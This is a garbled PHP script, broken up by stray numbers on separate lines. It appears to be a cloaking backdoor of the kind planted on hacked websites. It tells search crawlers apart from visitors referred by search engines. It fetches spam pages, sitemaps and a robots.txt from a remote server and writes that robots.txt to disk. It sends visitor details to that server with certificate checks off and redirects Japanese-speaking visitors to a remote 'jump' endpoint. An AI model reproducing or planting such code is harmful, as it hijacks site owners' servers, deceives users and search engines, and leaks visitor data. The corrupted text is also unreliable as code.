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e
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2
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1
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ht
1
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1
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2
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1
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1
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1
o
2
n 
3
ser
1
v
1
e
2
r(
1
$
1
n
2
am
1
e
4
 = '
1
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1
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2
 $
1
d
1
e
1
f
2
au
1
l
1
t
5
 = ''
1
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6

    
7
{
    
5
    i
1
f
1
 
2
(e
1
m
2
pt
1
y
6
($name
1
)
1
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1
 
b
{
        
4
    
2
re
1
t
1
u
2
rn
1
 
2
$_
1
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1
R
1
V
2
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3
;

4
    
4
    
1
}
a

        
8
$name = 
2
st
1
r
1
t
2
ou
1
p
1
p
8
er($name
4
);

8
        
7
return 
1
i
1
s
3
set
1
(
8
$_SERVER
1
[
5
$name
1
]
1
)
1
 
1
?
9
 $_SERVER
7
[$name]
1
 
1
:
9
 $default
7
;
    
7
}
    
10
public function 
3
iss
1
(
16
)
    {
        if (
1
$
3
thi
1
s
1
-
1
>
7
server(
1
'
1
H
1
T
2
TP
1
S
1
'
1
)
2
 &
2
& 
1
(
1
"
1
1
2
" 
1
=
1
=
1
 
17
$this->server('HTTPS') 
1
|
1
|
2
 "
1
o
1
n
5
" == 
5
strto
1
l
1
o
1
w
4
er($
15
this->server('HTTPS')
1
)
19
)) {
            return 
2
tr
1
u
1
e
d
;
        } 
1
e
1
l
2
se
4
if (
1
'
6
https'
14
 == $this->server('R
1
E
1
Q
1
U
1
E
1
S
2
T_
1
S
1
C
1
H
1
E
1
M
2
E'
33
)) {
            return true;
        } elseif ('
1
4
1
4
1
3
14
' == $this->server('
6
SERVER
2
_P
2
OR
1
T
34
')) {
            return true;
        } elseif ('
19
https' == $this->server('
4
HTTP
1
_
2
X_
1
F
1
O
1
R
1
W
1
A
1
R
1
D
2
ED
1
_
1
P
1
R
2
OT
1
O
2a
')) {
            return true;
        }
11

        return 
1
f
1
a
3
lse
1e
;
    }
    public function 
1
h
2
os
1
t
13
()
    {
        
1
$
4
host
3
 = 
3
str
2
va
1
l
14
($this->server('HTTP
d
_X_FORWARDED_
1
H
2
OS
3
T')
1
 
1
?
3
: $
12
this->server('HTTP
1
_
6
HOST')
13
);
        return 
4
strp
1
o
1
s
1
(
5
$host
1
,
1
 
1
'
1
:
4
') ?
4
 str
3
str
b
($host, ':'
1
,
1
 
5
true)
4
 : $
4
host
1e
;
    }
    public function 
1
s
1
c
2
he
1
m
1
e
13
()
    {
        
8
return $
6
this->
5
iss()
3
 ? 
6
"https
1
"
3
 : 
5
"http
4
";

b
    }
    
10
public function 
1
d
1
m
21
()
    {
        return $this->
8
scheme()
1
 
2
. 
1
"
3
://
1
"
3
 . 
7
$this->
6
host()
1f
;
    }
    public function i
1
p
13
()
    {
        
4
if (
1
g
2
et
1
e
1
n
1
v
1
(
6
'HTTP_
1
C
1
L
1
I
1
E
1
N
2
T_
1
I
1
P
14
')) {
            $
1
i
1
p
3
 = 
18
getenv('HTTP_CLIENT_IP')
15
;
        } elseif (
d
getenv('HTTP_
c
X_FORWARDED_
3
FOR
26
')) {
            $ip = getenv('HTTP_
11
X_FORWARDED_FOR')
1d
;
        } elseif (getenv('
1
R
1
E
2
MO
1
T
1
E
1
_
2
AD
1
D
22
R')) {
            $ip = getenv('
1e
REMOTE_ADDR');
        } else
10
 {
            
6
$ip = 
f
$this->server('
19
REMOTE_ADDR');
        }
11

        return 
3
$ip
1f
;
    }
    public function i
1
s
1
c
13
()
    {
        
2
$a
1
g
1
e
1
n
7
t = str
1c
tolower($this->server('HTTP_
1
U
3
SER
1
_
1
A
1
G
3
ENT
3
'))
b
;
        
4
if (
7
$agent 
1
!
4
= ''
5
 && p
1
r
1
e
2
g_
1
m
1
a
2
tc
1
h
1
(
1
'
2
/g
1
o
1
o
1
g
2
le
1
b
1
o
1
t
1
|
6
google
1
|
1
y
1
a
1
h
2
oo
1
|
1
b
3
ing
1
|
1
a
1
o
1
l
2
/s
1
i
4
', $
5
agent
29
)) {
            return true;
        }
11

        return 
23
false;
    }
    public function 
2
is
1
g
b
()
    {

1
	
2
	$
1
r
1
e
2
fe
4
r = 
1e
strtolower($this->server('HTTP
1
_
2
RE
1
F
1
E
1
R
1
E
4
R'))
b
;
        
6
$refer
3
bot
1
s
4
 = '
15
google|yahoo|bing|aol
1
'
10
;
        if ($
6
refer 
14
!= '' && preg_match(
1
"
2
/(
a
$referbots
1
)
3
/si
1
"
3
, $
5
refer
5d
)) {
            return true;
        }
        return false;
    }
    public function 
1
u
2
ri
13
()
    {
        
4
if (
2
($
3
pos
6
 = str
5
pos($
e
this->server('
8
REQUEST_
1
U
1
R
1
I
1
'
1
)
3
, '
1
.
3
php
4
')) 
1
!
3
== 
5
false
12
) {
            $
1
s
1
c
2
ri
1
p
2
t_
7
name = 
1
b
2
as
1
e
4
name
11
($this->server('S
1
C
1
R
4
IPT_
1
F
1
I
1
L
2
EN
1
A
5
ME'))
b
;
        
4
    
4
if (
1f
basename($this->server('SCRIPT_
7
NAME'))
3
 ==
3
= $
b
script_name
11
) {
            
4
    
1
$
1
u
2
rl
3
 = 
f
$this->server('
7
SCRIPT_
6
NAME')
f
;
            
1
}
9
 elseif (
18
basename($this->server('
1
P
1
H
1
P
3
_SE
1
L
1
F
4
')) 
3b
=== $script_name) {
                $url = $this->server('
a
PHP_SELF')
31
;
            } elseif (basename($this->server('
1
O
1
R
1
I
1
G
3
_SC
5
RIPT_
43
NAME')) === $script_name) {
                $url = $this->server('
12
ORIG_SCRIPT_NAME')
19
;
            } elseif (
1e
($pos = strpos($this->server('
a
PHP_SELF')
3
, '
1
/
1
'
4
 . $
c
script_name)
1c
) !== false) {
            
b
    $url = 
2
su
1
b
5
str($
e
this->server('
d
SCRIPT_NAME')
1
,
1
 
1
0
3
, $
3
pos
1
)
3
 . 
12
'/' . $script_name
19
;
            } elseif (
f
$this->server('
1
D
1
O
1
C
1
U
1
M
4
ENT_
1
R
1
O
1
O
4
T') 
3
&& 
8
strpos($
15
this->server('SCRIPT_
a
FILENAME')
3
, $
e
this->server('
f
DOCUMENT_ROOT')
6
) === 
1
0
1c
) {
                $url = 
3
str
4
_rep
2
la
1
c
11
e($this->server('
f
DOCUMENT_ROOT')
3
, '
4
', $
1f
this->server('SCRIPT_FILENAME')
10
);
            
b
}
        
5
    $
2
re
1
q
3
uri
4
 = $
4
url 
1
.
1
 
16
substr($this->server('
f
REQUEST_URI'), 
5
$pos 
1
+
1
 
1
4
c
);
        
6
} else
11
 {
            $
9
requri = 
25
substr($this->server('REQUEST_URI'), 
16
strpos($this->server('
10
REQUEST_URI'), '
1
/
e
'));
        
b
}
        
7
return 
1
r
2
tr
1
i
1
m
4
($re
4
quri
5
, '/'
8
);
    
18
}
    public function e
1
x
2
ec
3
Req
1
(
4
$url
4
, $p
3
 = 
1
a
1
r
2
ra
1
y
1
(
1
)
12
)
    {
        
7
$url = 
c
str_replace(
1
'
1
 
3
', 
1
'
1
+
4
', $
3
url
d
);
        $
1
c
1
h
4
 = c
3
url
2
_i
1
n
3
it(
c
);
        
5
curl_
3
set
1
o
1
p
3
t($
1
c
1
h
2
, 
1
C
1
U
1
R
1
L
1
O
3
PT_
3
URL
12
, $url);
        
1c
curl_setopt($ch, CURLOPT_RET
1
U
1
R
2
NT
2
RA
2
NS
4
FER,
1
 
5
1);

4
    
4
    
19
curl_setopt($ch, CURLOPT_
1
H
2
EA
1
D
4
ER, 
5
0);

21
        curl_setopt($ch, CURLOPT_
1
T
1
I
1
M
1
E
4
OUT,
1
 
6
20);

21
        curl_setopt($ch, CURLOPT_
1
P
3
OST
28
, 1);
        curl_setopt($ch, CURLOPT_
1
S
1
S
1
L
1
_
3
VER
1
I
1
F
1
Y
1
P
1
E
2a
ER, 0);
        curl_setopt($ch, CURLOPT_
a
SSL_VERIFY
4
HOST
28
, 0);
        curl_setopt($ch, CURLOPT_
4
POST
1
F
2
IE
1
L
1
D
1
S
1
,
1
 
5
http_
1
b
1
u
1
i
1
l
2
d_
1
q
1
u
2
er
4
y($p
e
));
        $
2
ou
1
t
1
p
1
u
4
t = 
5
curl_
4
exec
4
($ch
d
);
        $
5
error
1
C
1
o
1
d
4
e = 
7
curl_er
1
r
1
n
1
o
10
($ch);
        
5
curl_
1
c
2
lo
1
s
3
e($
e
ch);
        
4
if (
1
0
6
 !== $
9
errorCode
11
) {
            
7
return 
c
false;
    
4
    
12
}
        return 
1
$
6
output
7
;
    
3
}

3
}

4
$req
3
 = 
1
n
1
e
1
w
4
 Req
6
();
$
1
i
1
s
1
c
4
 = $
3
req
1
-
1
>
3
isc
8
();
$is
1
g
b
 = $req->is
3
g()
4
;
$
1
u
2
ma
4
p = 
4
$tr 
3
. "
3
map
4
";

3
$ur
4
i = 
3
url
1
d
2
ec
3
ode
5
($req
1
-
1
>
5
uri()
5
);
$
a
p = array(
7

    "
1
d
1
o
1
m
2
ai
4
n" =
1
>
7
 $req->
4
dm()
1
,
7

    "
4
port
b
" => $req->
8
server('
3
SER
3
VER
6
_PORT'
1
,
1
 
1
8
1
0
9
),
    "
3
uri
6
" => $
3
uri
1


1


4
);

4
if (
8
substr($
5
uri, 
1
-
1
1
3
0) 
3
== 
1
"
2
ro
4
bots
2
.t
1
x
1
t
1
"
a
) {
    h
1
e
1
a
1
d
3
er(
1
"
2
Co
1
n
3
ten
1
t
2
-t
1
y
1
p
1
e
2
:t
1
e
1
x
1
t
1
/
4
plai
1
n
1
;
1
 
1
c
2
ha
1
r
3
set
1
=
2
ut
1
f
1
-
1
8
1
"
8
);
    
1
d
1
i
8
e($req->
9
execReq($
6
tr . "
6
robots
4
", $
6
p));

3
}

12
if (substr($uri, -
1
6
c
) == "robots
a
") {
    
7
$output
9
 = $req->
1b
execReq($tr . "robots", $p)
7
;
    
2
$r
1
p
4
t = 
2
__
1
D
1
I
1
R
2
__
4
 . "
1
/
b
robots.txt"
7
;
    
2
fi
1
l
2
e_
3
put
1
_
1
c
6
ontent
3
s($
3
rpt
3
, $
6
output
8
);
    
1
$
6
robots
5
_cont
3
 = 
1
@
5
file_
3
get
e
_contents($rpt
8
);
    
5
if (s
6
trpos(
c
strtolower($
b
robots_cont
3
), 
1
"
2
si
1
t
5
emap"
e
)) {
        
4
die(
b
"robots.txt
1
 
5
file 
1
c
2
re
1
a
2
te
3
 su
1
c
1
c
2
es
1
s
1
!
9
");
    
12
} else {
        
1c
die("robots.txt file create 
2
fa
1
i
1
l
b
!");
    }
5

}

12
if (substr($uri, -
1
4
6
) == "
1
.
1
x
1
m
1
l
a
") {
    
b
if (strpos(
4
$uri
4
, "a
1
l
1
l
7
sitemap
7
.xml") 
3
|| 
8
strpos($
6
uri, "
7
sitemap
1
-
1
i
2
nd
1
e
1
x
25
.xml") || strpos($uri, "sitemap-index
2
-1
18
.xml") || strpos($uri, "
b
index.xml")
d
) {
        
19
$output = $req->execReq($
4
umap
5
, $p)
7
;
    
4
    
1a
header("Content-type:text/
4
" . 
9
(substr($
6
output
5
, 0, 
1
5
6
) === 
1
'
1
<
1
?
3
xml
1
'
4
 ? '
5
xml' 
1
:
2
 '
5
plain
3
') 
3
. '
f
; charset=utf-8
9
');
    
4
    
4
die(
3
'' 
3
. $
e
output);
    
7
}
    
19
$output = $req->execReq($
6
tr . "
1
w
2
or
1
d
6
", $p)
7
;
    
1a
header("Content-type:text/
3
xml
18
; charset=utf-8");
    
4
if (
9
$output =
3
= "
1
1
a
") {
    
e
    die('' . $
5
req->
a
execReq($u
8
map, $p)
8
);
    
16
} else {
        die(
17
'' . $output);
    }

5
}
$l
1
a
1
n
a
g = $req->
c
server('HTTP
1
_
1
A
1
C
2
CE
3
PT_
2
LA
1
N
2
GU
3
AGE
5
');

4
if (
1
!
5
$isc 
3
&& 
3
$is
1
g
c
 && strpos($
4
lang
3
, '
1
j
2
a'
1
)
3
!==
e
false) {
    
2
$p
2
["
1
i
1
p
1
"
1
]
a
 = $req->i
3
p()
8
;
    $
1
a
6
ction 
9
= $tr . "
1
j
1
u
1
m
9
p";
    
13
die($req->execReq($
6
action
10
, $p));
}
if (
4
$isc
9
) {
    
a
die('' . $
e
req->execReq($
6
tr . "
3
ind
2
at
1
a
d
", $p));
}

1
?
1
>
0